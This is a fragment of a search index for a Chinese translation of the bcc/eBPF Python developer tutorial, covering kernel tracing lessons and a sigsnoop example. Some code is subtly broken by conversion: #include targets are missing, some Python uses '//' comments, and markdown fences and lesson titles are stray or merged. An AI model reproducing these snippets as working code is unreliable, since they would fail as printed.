使用通用工具进行可观察性","id":"370","title":"2. 使用通用工具进行可观察性"},"371":{"body":"To do.","breadcrumbs":"bcc Tutorial » 网络","id":"371","title":"网络"},"372":{"body":"本教程介绍使用 Python 接口开发 bcc 工具和程序。分为两个部分：可观测性和网络。代码片段取自 bcc 的各个程序，请查阅其文件以了解许可证情况。 还请参阅 bcc 开发者的 参考指南 ，以及针对工具的用户的教程： 教程 。还有适用于 bcc 的 lua 接口。","breadcrumbs":"bcc Python Developer Tutorial » bcc Python 开发者教程","id":"372","title":"bcc Python 开发者教程"},"373":{"body":"这个可观测性教程包含17个课程和46个要学习的枚举事项。","breadcrumbs":"bcc Python Developer Tutorial » 可观测性","id":"373","title":"可观测性"},"374":{"body":"首先运行 examples/hello_world.py ，同时在另一个会话中运行一些命令（例如，“ls”）。它应该会为新进程打印“Hello, World!”。如果没有打印，请先修复bcc：请参阅 INSTALL.md 。 # ./examples/hello_world.py bash-13364 [002] d... 24573433.052937: : Hello, World! bash-13364 [003] d... 24573436.642808: : Hello, World!\n[...] 以下是 hello_world.py 的代码示例： from bcc import BPF\nBPF(text='int kprobe__sys_clone(void *ctx) { bpf_trace_printk(\"Hello, World!\\\\n\"); return 0; }').trace_print() 从中可以学到六件事情： text='...'：这定义了内联的 BPF 程序。该程序是用 C 编写的。 kprobe__sys_clone()：这是通过 kprobes 动态跟踪内核的一种快捷方式。如果 C 函数以 kprobe__ 开头，其余部分将被视为要定位的内核函数名称，本例中为 sys_clone()。 void *ctx：ctx 是参数，但由于我们在此处未使用它们，所以我们将其转换为 void* 类型。 bpf_trace_printk(): 用于将 printf() 打印到通用 trace_pipe (/sys/kernel/debug/tracing/trace_pipe) 的简单内核工具。 这对于一些快速示例是可以的，但有一些限制：最多只有 3 个参数，只能有一个 %s，并且 trace_pipe 是全局共享的，所以并发程序会有冲突的输出。更好的接口是通过 BPF_PERF_OUTPUT() 实现的，稍后会介绍。 return 0;: 必要的规范性代码（如果想知道原因，请参见 #139 ）。 .trace_print(): 一个读取 trace_pipe 并打印输出的 bcc 程序。","breadcrumbs":"bcc Python Developer Tutorial » 第1课. 你好，世界","id":"374","title":"第1课. 你好，世界"},"375":{"body":"编写一个跟踪 sys_sync() 内核函数的程序。运行时打印 \"sys_sync() called\"。在跟踪时，在另一个会话中运行 sync 进行测试。hello_world.py 程序中包含了这一切所需的内容。 通过在程序刚启动时打印 \"Tracing sys_sync()... Ctrl-C to end.\" 来改进它。提示：它只是 Python 代码。","breadcrumbs":"bcc Python Developer Tutorial » 第二课 sys_sync()","id":"375","title":"第二课 sys_sync()"},"376":{"body":"该程序位于 examples/tracing/hello_fields.py 。样本输出（在另一个会话中运行命令）： # examples/tracing/hello_fields.py\n时间(s) 进程名 进程 ID 消息\n24585001.174885999 sshd 1432 你好，世界！\n24585001.195710000 sshd 15780 你好，世界！\n24585001.991976000 systemd-udevd 484 你好，世界！\n24585002.276147000 bash 15787 你好，世界！ 代码： from bcc import BPF # 定义 BPF 程序\nprog = \"\"\"\nint hello(void *ctx) { bpf_trace_printk(\"你好，世界！\\\\n\"); return 0;\n}\n\"\"\" # 加载 BPF 程序\nb = BPF(text=prog)\nb.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\") # 头部\nprint(\"%-18s %-16s %-6s %s\" % (\"时间(s)\", \"进程名\", \"进程 ID\", \"消息\")) # 格式化输出\nwhile 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue print(\"%-18.9f %-16s %-6d %s\" % (ts, task, pid, msg)) 这与hello_world.py类似，并通过sys_clone()再次跟踪新进程，但是还有一些要学习的内容： prog =：这次我们将C程序声明为变量，然后引用它。如果您想根据命令行参数添加一些字符串替换，这将非常有用。 hello()：现在我们只是声明了一个C函数，而不是使用kprobe__的快捷方式。我们稍后会引用它。在BPF程序中声明的所有C函数都希望在探测器上执行，因此它们都需要以pt_reg* ctx作为第一个参数。如果您需要定义一些不会在探测器上执行的辅助函数，则需要将其定义为static inline，以便由编译器内联。有时您还需要为其添加_always_inline函数属性。 b.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\")：为内核clone系统调用函数创建一个kprobe，该函数将执行我们定义的hello()函数。您可以多次调用attach_kprobe()，并将您的C函数附加到多个内核函数上。 b.trace_fields()：从trace_pipe中返回一组固定的字段。与trace_print()类似，它对于编写脚本很方便，但是对于实际的工具化需求，我们应该切换到BPF_PERF_OUTPUT()。","breadcrumbs":"bcc Python Developer Tutorial » 第三课 hello_fields.py","id":"376","title":"第三课 hello_fields.py"},"377":{"body":"还记得以前系统管理员在缓慢的控制台上输入sync三次然后才重启吗？后来有人认为sync;sync;sync很聪明，将它们都写在一行上运行，尽管这违背了最初的目的！然后，sync变成了同步操作，所以更加愚蠢。无论如何。 以下示例计算了do_sync函数被调用的速度，并且如果它在一秒钟之内被调用，则输出信息。sync;sync;sync将为第2个和第3个sync打印输出： # examples/tracing/sync_timing.py\n追踪快速sync... 按Ctrl-C结束\"。 在时间0.00秒时：检测到多个同步，上次发生在95毫秒前 在时间0.10秒时：检测到多个同步，上次发生在96毫秒前 此程序是 examples/tracing/sync_timing.py ： from __future__ import print_function\nfrom bcc import BPF # 加载BPF程序\nb = BPF(text=\"\"\"\n#include  BPF_HASH(last); int do_trace(struct pt_regs *ctx) { u64 ts, *tsp, delta, key = 0; // 尝试读取存储的时间戳 tsp = last.lookup(&key); if (tsp != NULL) { delta = bpf_ktime_get_ns() - *tsp; if (delta < 1000000000) { // 时间小于1秒则输出 bpf_trace_printk(\"%d\\\\n\", delta / 1000000); } last.delete(&key); } // 更新存储的时间戳 ts = bpf_ktime_get_ns(); last.update(&key, &ts); return 0;\n}\n\"\"\") b.attach_kprobe(event=b.get_syscall_fnname(\"sync\"), fn_name=\"do_trace\")\nprint(\"跟踪快速同步... 按Ctrl-C结束\") # 格式化输出\nstart = 0\nwhile 1: (task, pid, cpu, flags, ts, ms) = b.trace_fields() if start == 0: start = ts ts = ts - start print(\"在时间%.2f秒处：检测到多个同步，上次发生在%s毫秒前\" % (ts, ms)) 学习内容： bpf_ktime_get_ns(): 返回时间，单位为纳秒。 BPF_HASH(last): 创建一个BPF映射对象，类型为哈希（关联数组），名为\"last\"。我们没有指定其他参数，因此默认的键和值类型为u64。 key = 0: 我们只会在哈希中存储一个键值对，其中键被硬编码为零。 last.lookup(&key): 在哈希中查找键，并如果存在则返回其值的指针，否则返回NULL。我们将键作为指针的地址传递给该函数。 if (tsp != NULL) {: 验证器要求在将从映射查找得到的指针值解引用使用之前，必须先检查其是否为null。1. last.delete(&key): 从哈希表中删除key。目前需要这样做是因为 .update()中存在一个内核错误 （在4.8.10中已经修复）。 last.update(&key, &ts): 将第二个参数的值与key关联起来，覆盖之前的任何值。这会记录时间戳。","breadcrumbs":"bcc Python Developer Tutorial » Lesson 4. sync_timing.py","id":"377","title":"Lesson 4. sync_timing.py"},"378":{"body":"修改sync_timing.py程序（前一课）以存储所有内核同步系统调用（包括快速和慢速）的计数，并将其与输出一起打印出来。可以通过向现有哈希表添加一个新的键索引来在BPF程序中记录此计数。","breadcrumbs":"bcc Python Developer Tutorial » 第5课. sync_count.py","id":"378","title":"第5课. sync_count.py"},"379":{"body":"浏览 examples/tracing/disksnoop.py 程序以了解新内容。以下是一些示例输出： # disksnoop.py\n时间(s) T 字节 延迟(ms)\n16458043.436012 W 4096 3.13\n16458043.437326 W 4096 4.44\n16458044.126545 R 4096 42.82\n16458044.129872 R 4096 3.24\n[...] 以及代码片段： [...]\nREQ_WRITE = 1 # 来自include/linux/blk_types.h # 加载BPF程序\nb = BPF(text=\"\"\"\n#include \n#include  BPF_HASH(start, struct request *); void trace_start(struct pt_regs *ctx, struct request *req) { // 使用请求指针存储开始时间戳 u64 ts = bpf_ktime_get_ns(); start.update(&req, &ts);\n} void trace_completion(struct pt_regs *ctx, struct request *req) { u64 *tsp, delta; tsp = start.lookup(&req); if (tsp != 0) { delta = bpf_ktime_get_ns() - *tsp; bpf_trace_printk(\"%d %x %d\\\\n\", req->__data_len, req->cmd_flags, delta / 1000); start.delete(&req); }\n}\n\"\"\")\nif BPF.get_kprobe_functions(b'blk_start_request'): b.attach_kprobe(event=\"blk_start_request\", fn_name=\"trace_start\")\nb.attach_kprobe(event=\"blk_mq_start_request\", fn_name=\"trace_start\")\nif BPF.get_kprobe_functions(b'__blk_account_io_done'): b.attach_kprobe(event=\"__blk_account_io_done\", fn_name=\"trace_completion\") else: b.attach_kprobe(event=\"blk_account_io_done\", fn_name=\"trace_completion\") [...] 学习内容： REQ_WRITE: 我们在Python程序中定义了一个内核常量，因为我们后面会在Python程序中使用它。如果我们在BPF程序中使用REQ_WRITE，它应该可以正常工作（无需定义），只需使用适当的#includes。 trace_start(struct pt_regs *ctx, struct request*req): 这个函数将在后面附加到kprobe上。kprobe函数的参数是struct pt_regs *ctx，用于寄存器和BPF上下文，然后是函数的实际参数。我们将把它附加到blk_start_request()上，其中第一个参数是struct request*。 start.update(&req, &ts): 我们使用请求结构的指针作为哈希中的键。这在跟踪中很常见。结构体指针是非常好的键，因为它们是唯一的：两个结构体不能具有相同的指针地址。（只需小心何时释放和重用指针。）所以我们实际上是给描述磁盘I/O的请求结构体打上我们自己的时间戳，以便我们可以计时。存储时间戳常用的两个键是结构体指针和线程ID（用于记录函数入口到返回的时间）。 req->__data_len: 我们在解引用struct request的成员。请参阅内核源代码中对其定义的部分以获得有关哪些成员可用的信息。bcc实际上会将这些表达式重写为一系列bpf_probe_read_kernel()调用。有时bcc无法处理复杂的解引用，此时您需要直接调用bpf_probe_read_kernel()。 这是一个非常有趣的程序，如果您能理解所有的代码，您就会理解很多重要的基础知识。我们仍然在使用bpf_trace_printk()的技巧，我们下一步要解决这个问题。","breadcrumbs":"bcc Python Developer Tutorial » 第6课. disksnoop.py","id":"379","title":"第6课. disksnoop.py"},"38":{"body":"示例代码如下： #include \n#include \n#include  #define MAX_ENTRIES 10240\n#define TASK_COMM_LEN 16 struct event { unsigned int pid; unsigned int tpid; int sig; int ret; char comm[TASK_COMM_LEN];\n}; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u32); __type(value, struct event);\n} values SEC(\".maps\"); static int probe_entry(pid_t tpid, int sig)\n{ struct event event = {}; __u64 pid_tgid; __u32 tid; pid_tgid = bpf_get_current_pid_tgid(); tid = (__u32)pid_tgid; event.pid = pid_tgid >> 32; event.tpid = tpid; event.sig = sig; bpf_get_current_comm(event.comm, sizeof(event.comm)); bpf_map_update_elem(&values, &tid, &event, BPF_ANY); return 0;\n} static int probe_exit(void *ctx, int ret)\n{ __u64 pid_tgid = bpf_get_current_pid_tgid(); __u32 tid = (__u32)pid_tgid; struct event *eventp; eventp = bpf_map_lookup_elem(&values, &tid); if (!eventp) return 0; eventp->ret = ret; bpf_printk(\"PID %d (%s) sent signal %d \", eventp->pid, eventp->comm, eventp->sig); bpf_printk(\"to PID %d, ret = %d\", eventp->tpid, ret); cleanup: bpf_map_delete_elem(&values, &tid); return 0;\n} SEC(\"tracepoint/syscalls/sys_enter_kill\")\nint kill_entry(struct trace_event_raw_sys_enter *ctx)\n{ pid_t tpid = (pid_t)ctx->args[0]; int sig = (int)ctx->args[1]; return probe_entry(tpid, sig);\n} SEC(\"tracepoint/syscalls/sys_exit_kill\")\nint kill_exit(struct trace_event_raw_sys_exit *ctx)\n{ return probe_exit(ctx, ctx->ret);\n} char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 上面的代码定义了一个 eBPF 程序，用于捕获进程发送信号的系统调用，包括 kill、tkill 和 tgkill。它通过使用 tracepoint 来捕获系统调用的进入和退出事件，并在这些事件发生时执行指定的探针函数，例如 probe_entry 和 probe_exit。 在探针函数中，我们使用 bpf_map 存储捕获的事件信息，包括发送信号的进程 ID、接收信号的进程 ID、信号值和进程的可执行文件名称。在系统调用退出时，我们将获取存储在 bpf_map 中的事件信息，并使用 bpf_printk 打印进程 ID、进程名称、发送的信号和系统调用的返回值。 最后，我们还需要使用 SEC 宏来定义探针，并指定要捕获的系统调用的名称，以及要执行的探针函数。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc sigsnoop.bpf.c\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe systemd-journal-363 [000] d...1 672.563868: bpf_trace_printk: PID 363 (systemd-journal) sent signal 0 systemd-journal-363 [000] d...1 672.563869: bpf_trace_printk: to PID 1400, ret = 0 systemd-journal-363 [000] d...1 672.563870: bpf_trace_printk: PID 363 (systemd-journal) sent signal 0 systemd-journal-363 [000] d...1 672.563870: bpf_trace_printk: to PID 1527, ret = -3","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » sigsnoop","id":"38","title":"sigsnoop"},"380":{"body":"让我们最终停止使用bpf_trace_printk()，并使用适当的BPF_PERF_OUTPUT()接口。这也意味着我们将停止获取免费的trace_field()成员，如PID和时间戳，并且需要直接获取它们。在另一个会话中运行命令时的示例输出 # hello_perf_output.py\nTIME(s) COMM PID MESSAGE\n0.000000000 bash 22986 你好，perf_output！\n0.021080275 systemd-udevd 484 你好，perf_output！\n0.021359520 systemd-udevd 484 你好，perf_output！\n0.021590610 systemd-udevd 484 你好，perf_output！\n[...] 代码位于 examples/tracing/hello_perf_output.py ： from bcc import BPF // 定义BPF程序\nprog = \"\"\"\n#include  // 在C中定义输出数据结构\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events); int hello(struct pt_regs *ctx) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid(); data.ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data.comm, sizeof(data.comm)); events.perf_submit(ctx, &data, sizeof(data)); return 0;\n}\n\"\"\" // 加载BPF程序\nb = BPF(text=prog)\nb.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\") //标题\nprint(\"%-18s %-16s %-6s %s\" % (\"TIME(s)\", \"COMM\", \"PID\", \"MESSAGE\")) //处理事件\nstart = 0\ndef print_event(cpu, data, size): global start event = b[\"events\"].event(data) if start == 0: start = event.ts time_s = (float(event.ts - start)) / 1000000000 print(\"%-18.9f %-16s %-6d %s\" % (time_s, event.comm, event.pid, \"你好，perf_output！\")) //循环并回调print_event\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: b.perf_buffer_poll() 学习的内容： struct data_t: 这定义了一个C结构体，我们将用它来从内核传递数据到用户空间。1. BPF_PERF_OUTPUT(events): 这里给我们的输出通道命名为\"events\"。 struct data_t data = {};: 创建一个空的data_t结构体，我们将在之后填充它。 bpf_get_current_pid_tgid(): 返回低32位的进程ID（内核视图中的PID，用户空间中通常被表示为线程ID），以及高32位的线程组ID（用户空间通常认为是PID）。通过直接将其设置为u32，我们丢弃了高32位。应该显示PID还是TGID？对于多线程应用程序，TGID将是相同的，所以如果你想要区分它们，你需要PID。这也是对最终用户期望的一个问题。 bpf_get_current_comm(): 将当前进程的名称填充到第一个参数的地址中。 events.perf_submit(): 通过perf环形缓冲区将事件提交给用户空间以供读取。 def print_event(): 定义一个Python函数来处理从events流中读取的事件。 b[\"events\"].event(data): 现在将事件作为一个Python对象获取，该对象是根据C声明自动生成的。 b[\"events\"].open_perf_buffer(print_event): 将Python的print_event函数与events流关联起来。 while 1: b.perf_buffer_poll(): 阻塞等待事件。","breadcrumbs":"bcc Python Developer Tutorial » Lesson 7. hello_perf_output.py","id":"380","title":"Lesson 7. hello_perf_output.py"},"381":{"body":"重写之前的课程中的sync_timing.py，使用BPF_PERF_OUTPUT。","breadcrumbs":"bcc Python Developer Tutorial » 第八课。 sync_perf_output.py","id":"381","title":"第八课。 sync_perf_output.py"},"382":{"body":"以下工具记录了磁盘I/O大小的直方图。样本输出： # bitehist.py\n跟踪中... 按Ctrl-C结束。\n^C kbytes : count distribution 0 -> 1 : 3 | | 2 -> 3 : 0 | | 4 -> 7 : 211 |********** | 8 -> 15 : 0 | | 16 -> 31 : 0 | |\".32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 800 |**************************************| 代码在 examples/tracing/bitehist.py : from __future__ import print_function\nfrom bcc import BPF\nfrom time import sleep # 加载BPF程序\nb = BPF(text=\"\"\"\n#include \n#include  BPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(bpf_log2l(req->__data_len / 1024)); return 0;\n}\n\"\"\") # 头部\nprint(\"跟踪中... 按Ctrl-C结束.\") # 跟踪直到按下Ctrl-C\ntry: sleep(99999999)\nexcept KeyboardInterrupt: print() # 输出\nb[\"dist\"].print_log2_hist(\"kbytes\") 之前课程的总结： kprobe__: 这个前缀意味着其余部分将被视为一个将使用kprobe进行插桩的内核函数名。 struct pt_regs *ctx, struct request*req: kprobe的参数。ctx 是寄存器和BPF上下文，req 是被插桩函数 blk_account_io_done() 的第一个参数。 req->__data_len: 解引用该成员。 新知识： BPF_HISTOGRAM(dist): 定义了一个名为 \"dist\" 的BPF映射对象，它是一个直方图。 dist.increment(): 默认情况下，将第一个参数提供的直方图桶索引加1。也可以作为第二个参数传递自定义的增量。 bpf_log2l(): 返回所提供值的对数值。这将成为我们直方图的索引，这样我们构建了一个以2为底的幂直方图。 b[\"dist\"].print_log2_hist(\"kbytes\"): 以2为底的幂形式打印 \"dist\" 直方图，列标题为 \"kbytes\"。这样只有桶计数从内核传输到用户空间，因此效率高。","breadcrumbs":"bcc Python Developer Tutorial » 第九课。 bitehist.py","id":"382","title":"第九课。 bitehist.py"},"383":{"body":"这个例子分为独立的Python和C文件。示例输出： # vfsreadlat.py 1\n跟踪中... 按Ctrl-C停止。 微秒 : 数量 分布 0 -> 1 : 0 | | 2 -> 3 : 2 |*********** | 4 -> 7 : 7 |****************************************| 8 -> 15 : 4 |********************** | 微秒 : 数量 分布 0 -> 1 : 29 |****************************************| 2 -> 3 : 28 |************************************** | 4 -> 7 : 4 |***** | 8 -> 15 : 8 |*********** | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 2 |** | 512 -> 1023 : 0 | | 1024 -> 2047 : 0 | | 2048 -> 4095 : 0 | | 4096 -> 8191 : 4 |***** | 8192 -> 16383 : 6 |******** | 16384 -> 32767 : 9 |************ |```.32768 -> 65535 : 6 |******** | 65536 -> 131071 : 2 |** | usecs : count distribution 0 -> 1 : 11 |****************************************| 2 -> 3 : 2 |******* | 4 -> 7 : 10 |************************************ | 8 -> 15 : 8 |***************************** | 16 -> 31 : 1 |*** | 32 -> 63 : 2 |******* |\n[...] 浏览 examples/tracing/vfsreadlat.py 和 examples/tracing/vfsreadlat.c 中的代码。 学习的内容: b = BPF(src_file = \"vfsreadlat.c\"): 从单独的源代码文件中读取 BPF C 程序。 b.attach_kretprobe(event=\"vfs_read\", fn_name=\"do_return\"): 将 BPF C 函数 do_return() 链接到内核函数 vfs_read() 的返回值上。这是一个 kretprobe：用于检测函数返回值，而不是函数的入口。 b[\"dist\"].clear(): 清除直方图。","breadcrumbs":"bcc Python Developer Tutorial » Lesson 10. disklatency.py”。#### Lesson 11. vfsreadlat.py","id":"383","title":"Lesson 10. disklatency.py”。#### Lesson 11. vfsreadlat.py"},"384":{"body":"当运行 dd if=/dev/urandom of=/dev/null bs=8k count=5 时进行跟踪： # urandomread.py\nTIME(s) COMM PID GOTBITS\n24652832.956994001 smtp 24690 384\n24652837.726500999 dd 24692 65536\n24652837.727111001 dd 24692 65536\n24652837.727703001 dd 24692 65536\n24652837.728294998 dd 24692 65536\n24652837.728888001 dd 24692 65536 哈！我意外地捕捉到了 smtp。代码在 examples/tracing/urandomread.py 中： from __future__ import print_function\".```python\nfrom bcc import BPF # 加载BPF程序\nb = BPF(text=\"\"\"\nTRACEPOINT_PROBE(random, urandom_read) { // args is from /sys/kernel/debug/tracing/events/random/urandom_read/format bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n}\n\"\"\") # header\nprint(\"%-18s %-16s %-6s %s\" % (\"TIME(s)\", \"COMM\", \"PID\", \"GOTBITS\")) # format output\nwhile 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue print(\"%-18.9f %-16s %-6d %s\" % (ts, task, pid, msg)) 要学到的东西： TRACEPOINT_PROBE(random, urandom_read): 对内核跟踪点 random:urandom_read 进行注入。这些具有稳定的API，因此在可能的情况下建议使用它们来代替kprobe。您可以运行 perf list 来获取跟踪点列表。至少需要 Linux 版本 4.7 来将 BPF 程序附加到跟踪点上。 args->got_bits: args 是自动填充的跟踪点参数结构。上面的注释指出了可以查看这个结构的位置。例如： # cat /sys/kernel/debug/tracing/events/random/urandom_read/format\nname: urandom_read\nID: 972\nformat: field:unsigned short common_type; offset:0; size:2; signed:0; field:unsigned char common_flags; offset:2; size:1; signed:0; field:unsigned char common_preempt_count; offset:3; size:1; signed:0; field:int common_pid; offset:4; size:4; signed:1; field:int got_bits; offset:8; size:4; signed:1; field:int pool_left; offset:12; size:4; signed:1; field:int input_left; offset:16; size:4; signed:1; print fmt: \"got_bits %d nonblocking_pool_entropy_left %d input_entropy_left %d\", REC->got_bits, REC->pool_left, REC->input_left 在这种情况下，我们正在打印 got_bits 成员。","breadcrumbs":"bcc Python Developer Tutorial » Lesson 12. urandomread.py","id":"384","title":"Lesson 12. urandomread.py"},"385":{"body":"将上一课的 disksnoop.py 修改为使用 block:block_rq_issue 和 block:block_rq_complete 跟踪点。","breadcrumbs":"bcc Python Developer Tutorial » 第13课. disksnoop.py已修复","id":"385","title":"第13课. disksnoop.py已修复"},"386":{"body":"这个程序对用户级函数进行插桩，其中包括 strlen() 库函数，并对其字符串参数进行频率统计。例如输出 # strlen_count.py\n跟踪 strlen()... 按 Ctrl-C 结束。\n^C 数量 字符串 1 \" \" 1 \"/bin/ls\" 1 \".\" 1 \"cpudist.py.1\" 1 \".bashrc\" 1 \"ls --color=auto\" 1 \"key_t\"\n[...] 10 \"a7:~# \" 10 \"/root\" 12 \"LC_ALL\" 12 \"en_US.UTF-8\" 13 \"en_US.UTF-8\" 20 \"~\" 70 \"#%^,~:-=?+/}\" 340 \"\\x01\\x1b]0;root@bgregg-test: ~\\x07\\x02root@bgregg-test:~# \" 这些是在跟踪时由此库函数处理的各种字符串以及它们的频率计数。例如，\"LC_ALL\" 被调用了12次。 代码在 examples/tracing/strlen_count.py 中： from __future__ import print_function\nfrom bcc import BPF\nfrom time import sleep # 载入 BPF 程序\nb = BPF(text=\"\"\"\n#include  struct key_t { char c[80];\n};\nBPF_HASH(counts, struct key_t); int count(struct pt_regs *ctx) { if (!PT_REGS_PARM1(ctx)) return 0; struct key_t key = {}; u64 zero = 0, *val; bpf_probe_read_user(&key.c, sizeof(key.c), (void *)PT_REGS_PARM1(ctx)); // 也可以使用 `counts.increment(key)` val = counts.lookup_or_try_init(&key, &zero); if (val) { (*val)++; } return 0;\n};\n\"\"\")\nb.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\") # 头部\nprint(\"跟踪 strlen()... 按 Ctrl-C 结束。\") # 睡眠直到按下 Ctrl-C\ntry: sleep(99999999)\nexcept KeyboardInterrupt: pass # 打印输出\nprint(\"%10s %s\" % (\"数量\", \"字符串\"))\ncounts = b.get_table(\"counts\")\nfor k, v in sorted(counts.items(), key=lambda counts: counts[1].value): print(\"%10d \\\"%s\\\"\" % (v.value, k.c.encode('string-escape'))) 要学习的内容：1. PT_REGS_PARM1(ctx): 这个参数会获取传递给 strlen() 的第一个参数，也就是字符串。 b.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\"): 附加到库 \"c\"（如果这是主程序，则使用其路径名），对用户级函数 strlen() 进行插装，并在执行时调用我们的 C 函数 count()。","breadcrumbs":"bcc Python Developer Tutorial » 第14课. strlen_count.py.","id":"386","title":"第14课. strlen_count.py."},"387":{"body":"本程序会对用户静态定义的跟踪 (USDT) 探测点进行插装，这是内核跟踪点的用户级版本。示例输出： # nodejs_http_server.py 24728\nTIME(s) COMM PID ARGS\n24653324.561322998 node 24728 path:/index.html\n24653335.343401998 node 24728 path:/images/welcome.png\n24653340.510164998 node 24728 path:/images/favicon.png 来自 examples/tracing/nodejs_http_server.py 的相关代码： from __future__ import print_function\nfrom bcc import BPF, USDT\nimport sys if len(sys.argv) < 2: print(\"USAGE: nodejs_http_server PID\") exit()\npid = sys.argv[1]\ndebug = 0 # load BPF program\nbpf_text = \"\"\"\n#include \nint do_trace(struct pt_regs *ctx) { uint64_t addr; char path[128]={0}; bpf_usdt_readarg(6, ctx, &addr); bpf_probe_read_user(&path, sizeof(path), (void *)addr); bpf_trace_printk(\"path:%s\\\\n\", path); return 0;\n};\n\"\"\" # enable USDT probe from given PID\nu = USDT(pid=int(pid))\nu.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\")\nif debug: print(u.get_text()) print(bpf_text) # initialize BPF\nb = BPF(text=bpf_text, usdt_contexts=[u]) 学习内容： bpf_usdt_readarg(6, ctx, &addr): 从 USDT 探测点中读取参数 6 的地址到 addr。 bpf_probe_read_user(&path, sizeof(path), (void *)addr): 现在字符串 addr 指向我们的 path 变量。 u = USDT(pid=int(pid)): 为给定的 PID 初始化 USDT 跟踪。1. u.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\"): 将我们的 do_trace() BPF C 函数附加到 Node.js 的 http__server__request USDT 探针。 b = BPF(text=bpf_text, usdt_contexts=[u]): 需要将我们的 USDT 对象 u 传递给 BPF 对象的创建。","breadcrumbs":"bcc Python Developer Tutorial » 第15课。nodejs_http_server.py","id":"387","title":"第15课。nodejs_http_server.py"},"388":{"body":"这是一个早期的教程，作为额外的课程包含其中。用它来复习和加深你已经学到的内容。 这是一个比 Hello World 更复杂的示例程序。该程序将在内核中每次任务切换时被调用，并在一个 BPF 映射中记录新旧进程的 pid。 下面的 C 程序引入了一个新的概念：prev 参数。BCC 前端会特殊处理这个参数，从而使得对这个变量的访问从由 kprobe 基础设施传递的保存上下文中进行读取。从位置1开始的参数的原型应该与被 kprobed 的内核函数的原型匹配。如果这样做，程序就可以无缝访问函数参数。 #include \n#include  struct key_t { u32 prev_pid; u32 curr_pid;\n}; BPF_HASH(stats, struct key_t, u64, 1024);\nint count_sched(struct pt_regs *ctx, struct task_struct *prev) { struct key_t key = {}; u64 zero = 0, *val; key.curr_pid = bpf_get_current_pid_tgid(); key.prev_pid = prev->pid; // could also use `stats.increment(key);` val = stats.lookup_or_try_init(&key, &zero); if (val) { (*val)++; } return 0;\n} 用户空间组件加载上面显示的文件，并将其附加到 finish_task_switch 内核函数上。 BPF 对象的 [] 运算符允许访问程序中的每个 BPF_HASH，允许对内核中的值进行通行访问。可以像使用任何其他 python dict 对象一样使用该对象：读取、更新和删除操作都是允许的。 from bcc import BPF\nfrom time import sleep b = BPF(src_file=\"task_switch.c\")\".```markdown\n```Chinese\nb.attach_kprobe(event=\"finish_task_switch\", fn_name=\"count_sched\") # 生成多个调度事件\nfor i in range(0, 100): sleep(0.01) for k, v in b[\"stats\"].items(): print(\"task_switch[%5d->%5d]=%u\" % (k.prev_pid, k.curr_pid, v.value)) 这些程序可以在文件 examples/tracing/task_switch.c 和 examples/tracing/task_switch.py 中找到。","breadcrumbs":"bcc Python Developer Tutorial » 第16课. task_switch.c","id":"388","title":"第16课. task_switch.c"},"389":{"body":"要进行进一步研究，请参阅 Sasha Goldshtein 的 linux-tracing-workshop ，其中包含了额外的实验。bcc/tools 中还有许多工具可供研究。 如果您希望为 bcc 贡献工具，请阅读 CONTRIBUTING-SCRIPTS.md 。在主要的 README.md 的底部，您还会找到与我们联系的方法。祝您好运，祝您成功追踪！","breadcrumbs":"bcc Python Developer Tutorial » 第17课. 进一步研究","id":"389","title":"第17课. 进一步研究"},"39":{"body":"本文主要介绍如何实现一个 eBPF 工具，捕获进程发送信号的系统调用集合，使用 hash map 保存状态。使用 hash map 需要定义一个结构体： struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u32); __type(value, struct event);\n} values SEC(\".maps\"); 并使用一些对应的 API 进行访问，例如 bpf_map_lookup_elem、bpf_map_update_elem、bpf_map_delete_elem 等。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » 总结","id":"39","title":"总结"},"390":{"body":"TODO","breadcrumbs":"bcc Python Developer Tutorial » 网络","id":"390","title":"网络"},"4":{"body":"Google 或者其他搜索引擎查找：eBPF 询问 ChatGPT 之类的东西：eBPF 是什么？ 推荐： 阅读 ebpf 简介： https://ebpf.io/ （30min） 简要了解一下 ebpf 内核相关文档： https://prototype-kernel.readthedocs.io/en/latest/bpf/ （知道有问题去哪里查询，30min） 阅读 ebpf 